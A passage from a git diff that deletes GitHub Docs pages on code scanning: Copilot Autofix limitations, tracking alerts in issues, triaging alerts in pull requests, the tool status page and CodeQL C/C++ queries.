dependencies published in the wider ecosystem. This can lead to suggestions that add a new dependency on malicious software that attackers have published under a statistically probable dependency name. - -## Mitigating the limitations of suggestions - -The best way to mitigate the limitations of suggestions from {% data variables.product.prodname_copilot_autofix_short %} is to follow best practices. For example, using CI testing of pull requests to verify functional requirements are unaffected and using dependency management solutions, such as the dependency review API and action. For more information, see “[AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).” - -It is important to remember that the author of a pull request retains responsibility for how they respond to review comments and suggested code changes, whether proposed by colleagues or automated tools. Developers should always look at suggestions for code changes critically. If needed, they should edit the suggested changes to ensure that the resulting code and application are correct, secure, meet performance criteria, and satisfy all other functional and non-functional requirements for the application. - -{% data reusables.rai.code-scanning.copilot-workspaces-prs-autofix-note %} - -## Next steps - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests#working-with-autofix-suggestions-for-alerts-on-a-pull-request) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts#generating-suggested-fixes-for-code-scanning-alerts) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/disabling-autofix-for-code-scanning) diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/content/code-security/code-scanning/managing-code-scanning-alerts/tracking-code-scanning-alerts-in-issues-using-task-lists.md deleted file mode 100644 index 54b4d9c15c49..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/tracking-code-scanning-alerts-in-issues-using-task-lists.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Tracking code scanning alerts in issues using task lists -shortTitle: Track alerts in issues -intro: You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts. -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -versions: - feature: code-scanning-task-lists -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists -type: how_to -topics: - - Code Security - - Code scanning - - Alerts - - Repositories - - Issues ---- - -{% data reusables.code-scanning.beta-alert-tracking-in-issues %} - -## About tracking {% data variables.product.prodname_code_scanning %} alerts in issues - -{% data variables.product.prodname_code_scanning_caps %} alerts integrate with task lists in {% data variables.product.prodname_github_issues %} to allow you to prioritize and track alerts with all your development work. To track a {% data variables.product.prodname_code_scanning %} alert in an existing issue, add the URL for the alert as a task list item in the issue. For more information about task lists, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -You can also quickly create a new issue to track an alert: -* From a {% data variables.product.prodname_code_scanning %} alert. For more information, see [Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert). -* From the API. For more information, see [Creating a tracking issue from the API](#creating-a-tracking-issue-from-the-api). - -You can use more than one issue to track the same {% data variables.product.prodname_code_scanning %} alert, and issues can belong to different repositories from the repository where the {% data variables.product.prodname_code_scanning %} alert was found. - -{% data variables.product.github %} provides visual cues in different locations of the user interface to indicate when you are tracking {% data variables.product.prodname_code_scanning %} alerts in issues. - -* The {% data variables.product.prodname_code_scanning %} alerts list page will show which alerts are tracked in issues so that you can view at a glance which alerts still require processing and how many issues they are tracked in. - - ![Screenshot of {% data variables.product.prodname_code_scanning %} alerts view. The first and third entries include the issue icon with the issue number.](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png) - -* A "tracked in" section will also show in the corresponding alert page. - - ![Screenshot of a {% data variables.product.prodname_code_scanning %} alert. Under the alert title, "Tracked by #1, #2" is outlined in dark orange.](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png) - -* On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. - - > [!NOTE] - > Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL. - - The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change. - - ![Screenshot of an issue that tracks a {% data variables.product.prodname_code_scanning %} alert. The hovercard is displayed, with a grey security badge icon.](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png) - -The status of the tracked alert won't change if you change the checkbox state of the corresponding task list item (checked/unchecked) in the issue. - -## Creating a tracking issue - -Instead of tracking a {% data variables.product.prodname_code_scanning %} alert in an existing issue, you can create a new issue to track an alert directly. You can create tracking issues for {% data variables.product.prodname_code_scanning %} alerts from the alert itself, or from the API. - -### Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -{% data reusables.code-scanning.explore-alert %} -1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts). -1. Towards the top of the page, on the right side, click **Create issue**. - - ![Screenshot of a {% data variables.product.prodname_code_scanning %} alert. The "Create issue" button is outlined in dark orange.](/assets/images/help/repository/code-scanning-create-issue-for-alert.png) - - {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item. - {% data variables.product.prodname_dotcom %} prepopulates the issue: - * The title contains the name of the {% data variables.product.prodname_code_scanning %} alert. - * The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. -1. Optionally, edit the title and the body of the issue. - - > [!WARNING] - > You may want to edit the title of the issue as it may expose security information. You can also edit the body of the issue. Make sure that you keep the task list item with a link to the alert otherwise the issue will no longer track the alert. - -1. Click **Submit new issue**. - -### Creating a tracking issue from the API - -1. Begin creating an issue through the API. For more information, see [Create an issue](/rest/issues/issues#create-an-issue). -1. Provide the code scanning link within the body of the issue. You must use the following task list syntax to create the tracked relationship: `- [ ] FULL-URL-TO-THE-CODE-SCANNING-ALERT`. - - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the {% data variables.product.prodname_code_scanning %} alert that has an ID number of 17 in the **Security** tab of the `octocat-repo` repository in the `octocat-org` organization. diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests.md b/content/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests.md deleted file mode 100644 index 78c03c8a70d8..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Triaging code scanning alerts in pull requests -shortTitle: Triage alerts in pull requests -intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.' -permissions: '{% data reusables.permissions.code-scanning-pr-alerts %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests - - /code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - Pull requests - - Alerts - - Repositories ---- - - -## About {% data variables.product.prodname_code_scanning %} results on pull requests - -In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. - -If the lines of code changed in the pull request generate {% data variables.product.prodname_code_scanning %} alerts, the alerts are reported in the following places on the pull request. - -* Check results in the pull request -* The **Conversation** tab of the pull request, as part of a pull request review -* The **Files changed** tab of the pull request - -> [!NOTE] -> {% data variables.product.prodname_code_scanning_caps %} displays alerts in pull requests only when all the lines of code identified by the alert exist in the pull request diff. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#specifying-the-location-for-source-files). - -{% ifversion code-scanning-autofix %} - -{% data variables.product.prodname_copilot_autofix %} will suggest fixes for alerts from {% data variables.product.prodname_code_scanning %} analysis (including {% data variables.product.prodname_codeql %} analysis) in private repositories. For more information on working with suggestions from {% data variables.product.prodname_copilot_autofix_short %} in pull requests, see [Working with {% data variables.product.prodname_copilot_autofix_short %} suggestions for alerts on a pull request](#working-with-copilot-autofix-suggestions-for-alerts-on-a-pull-request). - -{% endif %} - -If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository). - -In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#scanning-on-push). - -If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_caps %} results" check must pass before you can merge the pull request. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-status-checks-before-merging). - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand {% data variables.product.prodname_code_scanning %} alerts in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -## About {% data variables.product.prodname_code_scanning %} as a pull request check - -There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact configuration of each repository will vary and some will have more than one check. - -### {% data variables.product.prodname_code_scanning_caps %} results check - -For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_caps %} results**. The results for each analysis tool used are shown separately. Any new alerts on lines of code changed in the pull request are shown as annotations. - -To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts). - -![Screenshot of the {% data variables.product.prodname_code_scanning_caps %} results check on a pull request. The "View all branch alerts" link is highlighted with a dark orange outline.](/assets/images/help/repository/code-scanning-results-check.png) - -### {% data variables.product.prodname_code_scanning_caps %} results check failures - -If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`, `critical`, or `high`, the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds. - -![Screenshot of the merge box for a pull request. The "Code scanning results / CodeQL" check has "1 new alert including 1 high severity security v..."](/assets/images/help/repository/code-scanning-check-failure.png) - -You can override the default behavior in your repository settings, by specifying the level of severities and security severities that will cause a pull request check failure. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#defining-the-severities-causing-pull-request-check-failure). - -### Other {% data variables.product.prodname_code_scanning %} checks - -Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. - -For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis compiles (for example, {% data variables.code-scanning.compiled_languages %}). - -As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning) or [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning). - -## Viewing an alert on your pull request - -You can see any {% data variables.product.prodname_code_scanning %} alerts that are inside the diff of the changes introduced in a pull request by viewing the **Conversation** tab. {% data variables.product.prodname_code_scanning_caps %} posts a pull request review that shows each alert as an annotation on the lines of code that triggered the alert. You can comment on the alerts, dismiss the alerts, and view paths for the alerts, directly from the annotations. You can view the full details of an alert by clicking the "Show more details" link, which will take you to the alert details page. - -![Screenshot of an alert annotation on the "Conversations" tab of a pull request. The "Show more details" link is outlined in dark orange.](/assets/images/help/repository/code-scanning-pr-conversation-tab.png) - -You can also view all {% data variables.product.prodname_code_scanning %} alerts that are inside the diff of the changes introduced in the pull request in the **Files changed** tab. - -If you add a new code scanning configuration in your pull request, you will see a comment on your pull request directing you to the **Security** tab of the repository so you can view all the alerts on the pull request branch. For more information about viewing the alerts for a repository, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository). - -If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see [About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/). - -To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem. - -{% data reusables.code-scanning.alert-default-branch %} - -In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code. - -![Screenshot showing the description for a {% data variables.product.prodname_code_scanning %} alert. A link labeled "Show more" is highlighted with a dark orange outline.](/assets/images/help/repository/code-scanning-pr-alert.png) - -## Commenting on an alert in a pull request - -You can comment on any {% data variables.product.prodname_code_scanning %} alert that appears in a pull request. Alerts appear as annotations in the **Conversation** tab of a pull request, as part of a pull request review, and also are shown in the **Files changed** tab. - -You can choose to require all conversations in a pull request, including those on {% data variables.product.prodname_code_scanning %} alerts, to be resolved before a pull request can be merged. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-conversation-resolution-before-merging). - -## Fixing an alert on your pull request - -Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request checks. If your changes fix the problem, the alert is closed and the annotation removed. - -{% ifversion code-scanning-autofix %} - -## Working with {% data variables.product.prodname_copilot_autofix_short %} suggestions for alerts on a pull request - -{% data variables.product.prodname_copilot_autofix %} is an expansion of {% data variables.product.prodname_code_scanning %} that provides you with targeted recommendations to help you fix {% data variables.product.prodname_code_scanning %} alerts (including {% data variables.product.prodname_codeql %} alerts) in pull requests. The potential fixes are generated automatically by large language models (LLMs) using data from the codebase, the pull request, and from {% data variables.product.prodname_code_scanning %} analysis. - -{% data reusables.rai.code-scanning.copilot-autofix-note %} - -![Screenshot of the check failure for a {% data variables.product.prodname_code_scanning %} alert in a pull request. Part of the "autofix" suggestion is outlined in dark orange.](/assets/images/help/code-scanning/alert+autofix.png) - -### Generating {% data variables.product.prodname_copilot_autofix_short %} suggestions and publishing to a pull request - -When {% data variables.product.prodname_copilot_autofix_short %} is enabled for a repository, alerts are displayed in pull requests as normal and information from any alerts found by {% data variables.product.prodname_code_scanning %} is automatically sent to the LLM for processing. When LLM analysis is complete, any results are published as comments on relevant alerts. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -> [!NOTE] -> * {% data variables.product.prodname_copilot_autofix_short %} supports a subset of {% data variables.product.prodname_codeql %} queries. For information about the availability of {% data variables.product.prodname_copilot_autofix_short %}, see the query tables linked from [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites#query-lists-for-the-default-query-suites). -> * When analysis is complete, all relevant results are published to the pull request at once. If at least one alert in your pull request has an {% data variables.product.prodname_copilot_autofix_short %} suggestion, you should assume that the LLM has finished identifying potential fixes for your code. -> * On alerts generated from queries that are not supported by {% data variables.product.prodname_copilot_autofix_short %}, you will see a note telling you that the query is not supported. If a suggestion for a supported query fails to generate, you will see a note on the alert prompting you to try pushing another commit or to contact support. - -Usually, when you suggest changes to a pull request, your comment contains changes for a single file that is changed in the pull request. The following screenshot shows an {% data variables.product.prodname_copilot_autofix_short %} comment that suggests changes to the `index.js` file where the alert is displayed. Since the potential fix requires a new dependency on `escape-html`, the comment also suggests adding this dependency to the `package.json` file, even though the original pull request makes no changes to this file. - -![Screenshot of {% data variables.product.prodname_copilot_autofix_short %} suggestion to edit the current file. A suggested change in "package.json" is outlined in dark orange.](/assets/images/help/code-scanning/autofix-example.png) - -### Assessing and committing an {% data variables.product.prodname_copilot_autofix_short %} suggestion - -Each {% data variables.product.prodname_copilot_autofix_short %} suggestion demonstrates a potential solution for a {% data variables.product.prodname_code_scanning %} alert in your codebase. You must assess the suggested changes to determine whether they are a good solution for your codebase and to ensure that they maintain the intended behavior. For information about the limitations of {% data variables.product.prodname_copilot_autofix_short %} suggestions, see [Limitations of suggestions](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning#limitations-of-suggestions) and [Mitigating the limitations of suggestions](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning#mitigating-the-limitations-of-suggestions) in "Responsible use of {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_code_scanning %}." - -1. Click **Edit** to display the editing options and select your preferred method. - * Under **Edit with {% data variables.product.prodname_cli %}**, follow the instructions for checking out the pull request locally and applying the suggested fix. - * Select **Edit FILENAME** to edit the file directly on {% data variables.product.prodname_dotcom %} with the suggested fix applied. - - {% data reusables.rai.code-scanning.copilot-workspaces-prs-autofix-note %} - -1. Optionally, if you prefer to apply the fix on a local repository or branch, select the {% octicon "copy" aria-hidden="true" %} dropdown menu on the suggestion. - * Select **View autofix patch** to display instructions for applying the suggested fix to any local repository or branch. - * Select **Copy modified line LINE_NUMBER** to copy a specific line of the suggestion. -1. Test and modify the suggested fix as needed. -1. When you have finished testing your changes, commit the changes, and push them to your branch. -1. Pushing the changes to your branch will trigger all the usual tests for your pull request. Confirm that your unit tests still pass and that the {% data variables.product.prodname_code_scanning %} alert is now fixed. - -### Dismissing a {% data variables.product.prodname_copilot_autofix_short %} suggestion - -If you decide to reject a {% data variables.product.prodname_copilot_autofix_short %} suggestion, click **Dismiss suggestion** in the comment to dismiss the suggested fix. - -{% endif %} - -## Dismissing an alert on your pull request - -An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, a **Dismiss alert** button is available in code annotations and in the alerts summary. When you click **Dismiss alert** you will be prompted to choose a reason for closing the alert. - -![Screenshot of a check failure for code scanning. The "Dismiss alert" button is highlighted in dark orange. The "Dismiss alert" drop-down is shown.](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) - -{% data reusables.code-scanning.choose-alert-dismissal-reason %} - -{% data reusables.code-scanning.false-positive-fix-codeql %} - -For more information about dismissing alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts#dismissing--alerts). - -## Further reading - -{%- ifversion copilot-hadron %} -* [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request) -{%- endif %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page.md deleted file mode 100644 index 7e3231894f16..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: About the tool status page for code scanning -shortTitle: Code scanning tool status -allowTitleToDifferFromFilename: true -intro: The {% data variables.code-scanning.tool_status_page %} shows useful information about all of your code scanning tools. If code scanning is not working as you'd expect, the {% data variables.code-scanning.tool_status_page %} is a good starting point for debugging problems. -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-the-tool-status-page -type: overview -topics: - - Code Security - - Code scanning - - CodeQL ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -## About the {% data variables.code-scanning.tool_status_page %} - -The {% data variables.code-scanning.tool_status_page %} shows useful information about all of your {% data variables.product.prodname_code_scanning %} tools. If {% data variables.product.prodname_code_scanning %} is not working as you'd expect, the {% data variables.code-scanning.tool_status_page %} is a good starting point for debugging problems. - -Using the {% data variables.code-scanning.tool_status_page %}, you can see how well code scanning tools are working for a repository, when files in the repository were first scanned and most recently scanned, and when scans are scheduled. For integrated tools like {% data variables.product.prodname_codeql %}, you can also see more detailed information, including a percentage of files scanned and specific error messages. - -You can also see the rules your code was checked against by each configuration of a {% data variables.product.prodname_code_scanning %} tool and download a summary of the results. - -> [!NOTE] -> The {% data variables.code-scanning.tool_status_page %} shows how tools are working at the repository level, not the organization level. The tool status is only shown for the default branch of the repository for which that tool is configured. - -## Viewing the {% data variables.code-scanning.tool_status_page %} for a repository - -The code scanning alerts page for each repository includes a tools banner with a summary of the health of your code scanning analysis, and access to the {% data variables.code-scanning.tool_status_page %} to explore your setup. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. Click **Tool status** in the tools banner. - ![Screenshot showing how to access the tool status page from a repository. The "Tool status" button is highlighted in a dark orange outline.](/assets/images/help/repository/code-scanning-tool-status-page-access.png) - -## Using the {% data variables.code-scanning.tool_status_page %} - -In the {% data variables.code-scanning.tool_status_page %}, you'll see a summary for one tool, highlighted in the sidebar. You can use the sidebar to view summaries for different tools. - -![Screenshot showing the tool status page, with the CodeQL tool selected.](/assets/images/help/repository/code-scanning-tool-status-page.png) - -For integrated tools such as {% data variables.product.prodname_codeql %}, you can see a percentage total of all the files most recently scanned in your repository, organized by programming language. For information about what files are considered to have been scanned by {% data variables.product.prodname_codeql %}, see [How {% data variables.product.prodname_codeql %} defines scanned files](#how-codeql-defines-scanned-files). You can also download detailed language reports in CSV format. For more information, see [Downloading details of the files analyzed](#downloading-details-of-the-files-analyzed). - -The three possible tool statuses are: all configurations are working, some configurations need attention, and some configurations are not working. - -### Accessing detailed information about tools - -When you want to see more detailed information for the currently displayed tool, you can select a specific setup under "Setup types". - -Under "Configurations" on the left of the screen, you can see information for each analysis run by this setup type, and any relevant error messages. To see detailed information about the most recent analysis run, select a configuration in the sidebar. You can download details of exactly which rules were run in that scan of the code and how many alerts were found by each rule. For more information, see [Downloading lists of rules used](#downloading-lists-of-rules-used). - -![Screenshot showing detailed information about CodeQL in the tool status page.](/assets/images/help/repository/code-scanning-tool-status-page-detailed.png) - -This view will also show error messages. For more information, see [Debugging using the tool status page](#debugging-using-the-tool-status-page). - -### How {% data variables.product.prodname_codeql %} defines scanned files - -A file is reported as scanned by {% data variables.product.prodname_codeql %} if some of the lines of code in that file were processed. If you're using a standard configuration of the {% data variables.product.prodname_codeql %} action, the scanned files shown in the {% data variables.code-scanning.tool_status_page %} will include source code files for all languages that {% data variables.product.prodname_codeql %} can analyze. If you use advanced setup, you can optionally define which files for interpreted languages should be scanned using the `paths` and `paths-ignore` configuration properties. For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). - -For compiled languages, the {% data variables.code-scanning.tool_status_page %} reports files that were present before running autobuild or any manual build steps. This means that files generated during the build process are not shown in the {% data variables.code-scanning.tool_status_page %}. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#about-autobuild-for-codeql). - -The tool status page will calculate the percentage of files that were scanned by {% data variables.product.prodname_codeql %} for each language supported by {% data variables.product.prodname_codeql %}. This percentage respects any files excluded by the `paths` and `paths-ignore` configuration properties. - -### Downloading details of the files analyzed - -For integrated tools such as {% data variables.product.prodname_codeql %}, you can download detailed reports from the {% data variables.code-scanning.tool_status_page %} in CSV format. This will show: - -* Which configuration was used to scan each file. -* The file path. -* The programming language of the file. -* Whether the file was successfully extracted. - -To download a report, select a tool you're interested in. Then on the top right of the page, click the **{% octicon "download" aria-label="Download language CSV report" %}** button. - -### Downloading lists of rules used - -You can download the list of rules that {% data variables.product.prodname_code_scanning %} is checking against, in CSV format. This will show: - -* The configuration used. -* The rule source. -* The SARIF identifier. -* How many alerts were found. - -To download a report, select a configuration you're interested in. Then click **{% octicon "kebab-horizontal" aria-label="Configuration menu" %}** on the top right of the page, and select **{% octicon "download" aria-hidden="true" %} Download list of rules used**. - -### Removing configurations - -You can remove stale, duplicate, or unwanted configurations for the default branch of your repository. - -To remove a configuration, select the configuration you want to delete. Then click **{% octicon "kebab-horizontal" aria-label="Configuration menu" %}** on the top right of the page, and select **{% octicon "trash" aria-hidden="true" %} Delete configuration**. Once you have read the warning about alerts, to confirm the deletion, click the **Delete** button. - -> [!NOTE] -> You can only use the {% data variables.code-scanning.tool_status_page %} to remove configurations for the default branch of a repository. For information about removing configurations from non-default branches, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts#removing-stale-configurations-and-alerts-from-a-branch). - -## Debugging using the {% data variables.code-scanning.tool_status_page %} - -If you see that there is a problem with your analysis from the {% data variables.product.prodname_code_scanning %} alerts page, you can use the {% data variables.code-scanning.tool_status_page %} to identify the problem. For integrated tools, you can see specific error messages in the detailed information section, related to specific {% data variables.product.prodname_code_scanning %} tools. These error messages contain information about why the tool may not be performing as expected, and actions you can take. For more information about how to access this section of the {% data variables.code-scanning.tool_status_page %}, see [Accessing detailed information about tools](#accessing-detailed-information-about-tools). - -For integrated tools such as {% data variables.product.prodname_codeql %}, you can also use file coverage information to improve your analysis. For each language displayed on the {% data variables.code-scanning.tool_status_page %}: - -* If the language has a high scanned percentage, this shows that code scanning is scanning that language as expected. -* If the language has a low scanned percentage, you may wish to investigate diagnostic output produced by {% data variables.product.prodname_codeql %} for that language: for more information see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/codeql-scanned-fewer-lines-than-expected). -* If the language has a scanned percentage of zero, you may have source code in your repository written in languages supported by {% data variables.product.prodname_codeql %} but not currently being analyzed with {% data variables.product.prodname_codeql %}. In this case, you may wish to update your setup to start analyzing these additional languages. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#changing-the-languages-that-are-analyzed). - -> [!NOTE] -> If you have set up {% data variables.product.prodname_codeql %} using advanced setup and then set up default setup on the same repository, the {% data variables.code-scanning.tool_status_page %} will only show default setup. - -For more information, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning) and [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads). diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/c-cpp-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/c-cpp-built-in-queries.md deleted file mode 100644 index 7e8b6f8a4f52..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/c-cpp-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: C and C++ queries for CodeQL analysis -shortTitle: C and C++ CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in C or C++ when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing C and C++ code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for C and C++ analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.cpp %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites.md deleted file mode 100644 index 51b941e26eef..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites.md 